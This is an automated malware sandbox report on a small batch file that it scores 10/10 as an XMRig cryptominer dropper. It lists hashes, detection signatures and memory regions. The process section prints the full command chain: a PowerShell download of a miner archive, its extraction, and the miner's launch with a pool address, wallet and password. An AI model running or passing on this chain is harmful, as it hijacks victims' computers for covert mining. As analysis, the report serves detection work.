Analysis

  • max time kernel
    1795s
  • max time network
    1792s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy - Copy (6).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1720
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:32
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4156
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4800

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    062a8c5cf3239ff3deaf68c70db1f1d5

    SHA1

    284451c9e8c963e926dc8dc4c62962ccf1df6888

    SHA256

    19df8e45afd3923a4f5575daf3fa5bfc55ce244f19f78e17635ff44e30852d28

    SHA512

    6b2b8727f3637cb174fd80e960b9627d4d0e5c02ab9f751117d2a43d7fd65a99d99dbd9f4db17b85fb6c7c84e0e64cbb7202fe121b07054be0c39c5a987fedd3

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    24KB

    MD5

    7d462c4b68d2866f93e6fc6a3f488fb2

    SHA1

    269f8539113251169f29eb29118d1d54cf5e3438

    SHA256

    723bf6a0c14ff607c2153cf8787ff929ee245ca6d0ca13d229a20f78981ac8e9

    SHA512

    ac81aec65a88b7995abd05a7b88a7b9f905b88f7edc90c1e74c91c2ec3204f04407d2c85eaef45d1b983b76e6e0ecb14e8e65a4c37f734f1675349feb163f408

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    9KB

    MD5

    e626df53828d6339d7b791fb6ea8f219

    SHA1

    6bc7f026054ed54b2a9a666a4173da4e3b75a800

    SHA256

    af67685e4b309468a729ca3c655ed69029b34e923410801cd6b36e7c9556c4af

    SHA512

    cd0212dd3101aa04907f4926e00240b8ea8d9af887bce7b5467b6e95eb8ad2284b3caec8b6953935098acee26c520bd092dca2dc601faadc920d23aa41f7ddf9

  • memory/1720-29-0x0000027499BB0000-0x0000027499BC0000-memory.dmp

    Filesize

    64KB

  • memory/1720-7-0x0000027499BB0000-0x0000027499BC0000-memory.dmp

    Filesize

    64KB

  • memory/1720-26-0x00007FFE0F520000-0x00007FFE0FF0C000-memory.dmp

    Filesize

    9.9MB

  • memory/1720-27-0x0000027499BB0000-0x0000027499BC0000-memory.dmp

    Filesize

    64KB

  • memory/1720-28-0x0000027499BB0000-0x0000027499BC0000-memory.dmp

    Filesize

    64KB

  • memory/1720-5-0x00007FFE0F520000-0x00007FFE0FF0C000-memory.dmp

    Filesize

    9.9MB

  • memory/1720-34-0x00007FFE0F520000-0x00007FFE0FF0C000-memory.dmp

    Filesize

    9.9MB

  • memory/1720-6-0x0000027499BB0000-0x0000027499BC0000-memory.dmp

    Filesize

    64KB

  • memory/1720-25-0x0000027499BB0000-0x0000027499BC0000-memory.dmp

    Filesize

    64KB

  • memory/1720-10-0x0000027499D70000-0x0000027499DE6000-memory.dmp

    Filesize

    472KB

  • memory/1720-4-0x0000027499BC0000-0x0000027499BE2000-memory.dmp

    Filesize

    136KB

  • memory/4156-44-0x00000152C11D0000-0x00000152C11E0000-memory.dmp

    Filesize

    64KB

  • memory/4156-66-0x00000152C11D0000-0x00000152C11E0000-memory.dmp

    Filesize

    64KB

  • memory/4156-43-0x00000152C11D0000-0x00000152C11E0000-memory.dmp

    Filesize

    64KB

  • memory/4156-93-0x00000152C12B0000-0x00000152C12BA000-memory.dmp

    Filesize

    40KB

  • memory/4156-80-0x00000152D9A00000-0x00000152D9A12000-memory.dmp

    Filesize

    72KB

  • memory/4156-117-0x00007FFE0F520000-0x00007FFE0FF0C000-memory.dmp

    Filesize

    9.9MB

  • memory/4156-42-0x00007FFE0F520000-0x00007FFE0FF0C000-memory.dmp

    Filesize

    9.9MB

  • memory/4800-143-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-155-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-122-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-125-0x000001DF56290000-0x000001DF562B0000-memory.dmp

    Filesize

    128KB

  • memory/4800-124-0x000001DF56060000-0x000001DF56080000-memory.dmp

    Filesize

    128KB

  • memory/4800-123-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-126-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-127-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-129-0x000001DF56290000-0x000001DF562B0000-memory.dmp

    Filesize

    128KB

  • memory/4800-128-0x000001DF56060000-0x000001DF56080000-memory.dmp

    Filesize

    128KB

  • memory/4800-130-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-131-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-132-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-133-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-134-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-135-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-136-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-137-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-138-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-139-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-140-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-141-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-142-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-120-0x000001DEC3860000-0x000001DEC3880000-memory.dmp

    Filesize

    128KB

  • memory/4800-144-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-145-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-146-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-147-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-148-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-149-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-150-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-151-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-152-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-153-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-154-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-121-0x000001DF55C20000-0x000001DF55C40000-memory.dmp

    Filesize

    128KB

  • memory/4800-156-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-157-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-158-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-159-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-160-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-161-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-162-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-163-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-164-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-165-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-166-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-167-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-168-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-169-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-170-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-171-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-172-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-173-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-174-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-175-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-176-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-177-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-178-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-179-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-180-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-181-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-182-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-183-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-184-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-185-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-186-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-187-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB

  • memory/4800-188-0x00007FF617230000-0x00007FF617D33000-memory.dmp

    Filesize

    11.0MB